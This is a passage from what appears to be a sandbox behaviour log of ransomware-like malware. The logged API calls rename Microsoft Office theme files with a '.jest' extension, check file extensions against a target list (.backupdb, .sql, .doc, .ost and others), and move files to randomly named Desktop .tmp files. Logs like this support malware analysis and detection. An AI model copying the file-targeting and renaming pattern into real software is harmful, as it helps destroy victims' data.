14\\Theme Colors\\Concourse.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\concourse.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Concourse.xml.jest" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\concourse.xml.jest")) returned 1 [0164.906] VarBstrFromR4 (in: fltIn=0x47945748, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75950.56") returned 0x0 [0164.907] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Concourse.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\concourse.xml"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\3 pErENVybLv60yHLQdgKVjJLOzESbKtxWokRsvWdBqH6zyylRAlqAgQoZvXu_y5n8TO6zRXphpCgIRnvQtoKj8sQL3ot08gIe5R.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\3 perenvyblv60yhlqdgkvjjlozesbktxwokrsvwdbqh6zyylralqagqozvxu_y5n8to6zrxphpcgirnvqtokj8sql3ot08gie5r.tmp")) returned 0 [0164.907] GetLastError () returned 0x2 [0164.908] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="︱", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0164.910] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Couture.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\couture.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Couture.xml.jest" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\couture.xml.jest")) returned 1 [0164.913] VarBstrFromR4 (in: fltIn=0x47945748, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75950.56") returned 0x0 [0164.924] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Couture.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\couture.xml"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zPz7MoEjzFB-HbroCF vI-R- hsgDoVhIc4FGTPCU2kt7okzTPsfeci9lHXNr3CwBi5T54jDuCriWfmTyKA-jUqUffQREZ9yFyNf.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\zpz7moejzfb-hbrocf vi-r- hsgdovhic4fgtpcu2kt7okztpsfeci9lhxnr3cwbi5t54jducriwfmtyka-juquffqrez9yfynf.tmp")) returned 0 [0164.924] GetLastError () returned 0x2 [0164.925] VarBstrCmp (bstrLeft="quity.xml", bstrRight=".backupdb", lcid=0x1, dwFlags=0x30001) returned 0x2 [0164.926] VarBstrCmp (bstrLeft=".xml", bstrRight=".bas", lcid=0x1, dwFlags=0x30001) returned 0x2 [0164.926] VarBstrCmp (bstrLeft="xml", bstrRight=".py", lcid=0x1, dwFlags=0x30001) returned 0x2 [0164.926] VarBstrCmp (bstrLeft=".xml", bstrRight=".pyc", lcid=0x1, dwFlags=0x30001) returned 0x2 [0164.926] VarBstrCmp (bstrLeft=".xml", bstrRight=".pdf", lcid=0x1, dwFlags=0x30001) returned 0x2 [0164.926] VarBstrCmp (bstrLeft=".xml", bstrRight=".ost", lcid=0x1, dwFlags=0x30001) returned 0x2 [0164.926] VarBstrCmp (bstrLeft="y.xml", bstrRight=".mail", lcid=0x1, dwFlags=0x30001) returned 0x2 [0164.927] VarBstrCmp (bstrLeft=".xml", bstrRight=".bak", lcid=0x1, dwFlags=0x30001) returned 0x2 [0164.927] VarBstrCmp (bstrLeft=".xml", bstrRight=".cfg", lcid=0x1, dwFlags=0x30001) returned 0x2 [0164.927] VarBstrCmp (bstrLeft=".xml", bstrRight=".sql", lcid=0x1, dwFlags=0x30001) returned 0x2 [0164.927] VarBstrCmp (bstrLeft=".xml", bstrRight=".log", lcid=0x1, dwFlags=0x30001) returned 0x2 [0164.927] VarBstrCmp (bstrLeft=".xml", bstrRight=".doc", lcid=0x1, dwFlags=0x30001) returned 0x2 [0164.927] VarBstrCmp (bstrLeft=".xml", bstrRight=".xml", lcid=0x1, dwFlags=0x30001) returned 0x1 [0164.928] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="︱", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0164.935] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Equity.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\equity.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Equity.xml.jest" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\equity.xml.jest")) returned 1 [0164.939] VarBstrFromR4 (in: fltIn=0x4794574c, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75950.59") returned 0x0 [0164.940] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Equity.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\equity.xml"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zpmmtEdF63e8tuvEPo2-rC5K5hJ9RNA Qg3jl2KC6fK86nlPWFuJzD2VykJcb9RjxXpWTbq0sSCyQ3 jXMD AZxnSdYIgqQhdQKc.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\zpmmtedf63e8tuvepo2-rc5k5hj9rna qg3jl2kc6fk86nlpwfujzd2vykjcb9rjxxpwtbq0sscyq3 jxmd azxnsdyigqqhdqkc.tmp")) returned 0 [0164.941] GetLastError () returned 0x2 [0164.941] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="︱", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0164.942] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Executive.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\executive.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Executive.xml.jest" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\executive.xml.jest")) returned 1 [0164.955] VarBstrFromR4 (in: fltIn=0x4794574e, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75950.61") returned 0x0 [0164.956] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Executive.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\executive.xml"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\9vO95DMNz7sOl2Q6 7mdVY7M_7S3UfTiNujcIF2v2OeQPR9HZQogao4HCKy0H2h4U3R3_-MZtd4F7pkm35qr749c5XTxEEz G_iR4.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\9vo95dmnz7sol2q6 7mdvy7m_7s3uftinujcif2v2oeqpr9hzqogao4hcky0h2h4u3r3_-mztd4f7pkm35qr749c5xtxeez g_ir4.tmp")) returned 0 [0164.956] GetLastError () returned 0x2 [0164.957] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="︱", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0164.979] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Foundry.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\foundry.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Foundry.xml.jest" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\foundry.xml.jest")) returned 1 [0164.982] VarBstrFromR4 (in: fltIn=0x47945752, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75950.64") returned 0x0 [0164.983] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Foundry.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\foundry.xml"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\X5dSZHe9HjFtcqaMn9fa76i qpSq9hF6IDIMv9HHtJ9 HDLjEpWwHZ9-4lUJcyvOEvXo1O_6AEV29Mf-OE0ewCTCiPyF55tlptr_.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\x5dszhe9hjftcqamn9fa76i qpsq9hf6idimv9hhtj9 hdljepwwhz9-4lujcyvoevxo1o_6aev29mf-oe0ewctcipyf55tlptr_.tmp")) returned 0 [0164.983] GetLastError () returned 0x2 [0164.983] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="︱", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0164.999] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Horizon.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\horizon.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Horizon.xml.jest" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\horizon.xml.jest")) returned 1 [0165.002] VarBstrFromR4 (in: fltIn=0x47945754, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75950.66") returned 0x0 [0165.004] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Horizon.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\horizon.xml"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\nVNfmsjtKG31xU-DBbbM-j4XCV-xV8rzcTtYpTtAdT_I9CN2 owJv9fVr2Q8Tqr43fLgNLcfkzPow9dWBW0VWjbmFu8206VWx24sY.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\nvnfmsjtkg31xu-dbbbm-j4xcv-xv8rzcttypttadt_i9cn2 owjv9fvr2q8tqr43flgnlcfkzpow9dwbw0vwjbmfu8206vwx24sy.tmp")) returned 0 [0165.004] GetLastError () returned 0x2 [0165.004] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="︱", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0165.005] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Metro.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\metro.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Metro.xml.jest" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\metro.xml.jest")) returned 1 [0165.007] VarBstrFromR4 (in: fltIn=0x47945754, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75950.66") returned 0x0 [0165.009] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Metro.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\metro.xml"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\N891 qh3Hdwclrowz4y_WJpEh_f4DeejlBnVxcm8HXpK uh5GHjf-3hROF0qMNYszTGyNjuvCRwzS5QuPMJh6wCK 13MfOimhcOMJ.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\n891 qh3hdwclrowz4y_wjpeh_f4deejlbnvxcm8hxpk uh5ghjf-3hrof0qmnysztgynjuvcrwzs5qupmjh6wck 13mfoimhcomj.tmp")) returned 0 [0165.009] GetLastError () returned 0x2 [0165.009] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="︱", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0165.010] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Newsprint.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\newsprint.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Newsprint.xml.jest" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\newsprint.xml.jest")) returned 1 [0165.012] VarBstrFromR4 (in: fltIn=0x47945756, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75950.67") returned 0x0 [0165.013] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Newsprint.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\newsprint.xml"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\_owoFwc7253UYlxJvIs3xNAIECzJK7fXvpzJbs8P 27yA-vbcpJJMm4-LB5uozp9py 2VAYQ3vL8nKN-wowTbNzc2D vR2FbL_IP.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\_owofwc7253uylxjvis3xnaieczjk7fxvpzjbs8p 27ya-vbcpjjmm4-lb5uozp9py 2vayq3vl8nkn-wowtbnzc2d vr2fbl_ip.tmp")) returned 0 [0165.013] GetLastError () returned 0x2 [0165.013] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="︱", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0165.042] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Origin.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\origin.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Origin.xml.jest" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\origin.xml.jest")) returned 1 [0165.045] VarBstrFromR4 (in: fltIn=0x4794575a, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75950.7") returned 0x0 [0165.046] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Origin.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\origin.xml"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\jmjrtFZ73SHUHjJ5JZ9BrTgbZMO5LtqNGDH--cJcYpxGF3TTtkeTnDO_nnF HI_QyEkiyUvwmlMzVUxo5Rt4p55tvmzI_G4SvDxzf.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\jmjrtfz73shuhjj5jz9brtgbzmo5ltqngdh--cjcypxgf3tttketndo_nnf hi_qyekiyuvwmlmzvuxo5rt4p55tvmzi_g4svdxzf.tmp")) returned 0 [0165.046] GetLastError () returned 0x2 [0165.047] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="︱", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0165.058] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Paper.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\paper.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Paper.xml.jest" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\paper.xml.jest")) returned 1 [0165.061] VarBstrFromR4 (in: fltIn=0x4794575c, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75950.72") returned 0x0 [0165.062] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Paper.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\paper.xml"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Xon75boCOeVjqFM_zwD6mi0MsMLchEGPqM31T17NCUiyxO ZQrB2F4CX2v1MOtKSKEHot2fOHjuIXTcemCJJiO91LOf9fTzCm0OF.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\xon75bocoevjqfm_zwd6mi0msmlchegpqm31t17ncuiyxo zqrb2f4cx2v1motkskehot2fohjuixtcemcjjio91lof9ftzcm0of.tmp")) returned 0 [0165.062] GetLastError () returned 0x2 [0165.063] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="︱", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0165.064] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Perspective.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\perspective.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Perspective.xml.jest" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\perspective.xml.jest")) returned 1 [0165.066] VarBstrFromR4 (in: fltIn=0x4794575c, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75950.72") returned 0x0 [0165.067] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Perspective.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\perspective.xml"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\4YSNucNl9pvhb1wIZwal0-5ELJv8sEsdQ5FmMDDKUUDmDnjS_8poQTueB_NxFcsu_3kHoE0qnjiC 1Z3ITCdadA8v4Um4PkFjQGE.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\4ysnucnl9pvhb1wizwal0-5eljv8sesdq5fmmddkuudmdnjs_8poqtueb_nxfcsu_3khoe0qnjic 1z3itcdada8v4um4pkfjqge.tmp")) returned 0 [0165.067] GetLastError () returned 0x2 [0165.067] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="︱", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0165.069] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Pushpin.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\pushpin.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Pushpin.xml.jest" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\pushpin.xml.jest")) returned 1 [0165.071] VarBstrFromR4 (in: fltIn=0x4794575c, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75950.72") returned 0x0 [0165.071] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Pushpin.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\pushpin.xml"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\WLmTxnElT5EB60w6kxax3k7PD3-o3iAh hsDO4H5jxv3We QdBWNMMLQcZtvJpACIQUm-gmQI6zEm6_jHebTES0rRrs4-6NFbsk.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\wlmtxnelt5eb60w6kxax3k7pd3-o3iah hsdo4h5jxv3we qdbwnmmlqcztvjpaciqum-gmqi6zem6_jhebtes0rrrs4-6nfbsk.tmp")) returned 0 [0165.072] GetLastError () returned 0x2 [0165.072] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="︱", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0165.073] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Technic.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\technic.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Technic.xml.jest" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\technic.xml.jest")) returned 1 [0165.075] VarBstrFromR4 (in: fltIn=0x4794575e, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75950.73") returned 0x0 [0165.076] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Technic.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\technic.xml"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\RL4bj-Yp_i4NTloo6m06d4wIvOMRyrkfzou9dOBYEM0Ocbsxz5EWVOnB9TIL6CEG_C_V BD-9K_NQ5NFKBbBWC65AML7uyLquAf.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\rl4bj-yp_i4ntloo6m06d4wivomryrkfzou9dobyem0ocbsxz5ewvonb9til6ceg_c_v bd-9k_nq5nfkbbbwc65aml7uylquaf.tmp")) returned 0 [0165.076] GetLastError () returned 0x2 [0165.076] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="︱", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0165.078] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Trek.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\trek.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Trek.xml.jest" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\trek.xml.jest")) returned 1 [0165.080] VarBstrFromR4 (in: fltIn=0x4794575e, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75950.73") returned 0x0 [0165.081] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Trek.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\trek.xml"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Pt12hwIePjoh5B0DCMwETWwp4Jd7L6Tso83xFY 74 QQy2paHZQvtaXQGhd4zxFBsRTgT8w5o_zSqMUdQ5r5MkemkhMkWUtgSFSQp.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\pt12hwiepjoh5b0dcmwetwwp4jd7l6tso83xfy 74 qqy2pahzqvtaxqghd4zxfbsrtgt8w5o_zsqmudq5r5mkemkhmkwutgsfsqp.tmp")) returned 0 [0165.081] GetLastError () returned 0x2 [0165.081] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="︱", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0165.082] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Waveform.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\waveform.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Waveform.xml.jest" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\waveform.xml.jest")) returned 1 [0165.084] VarBstrFromR4 (in: fltIn=0x4794575e, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75950.73") returned 0x0 [0165.085] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme 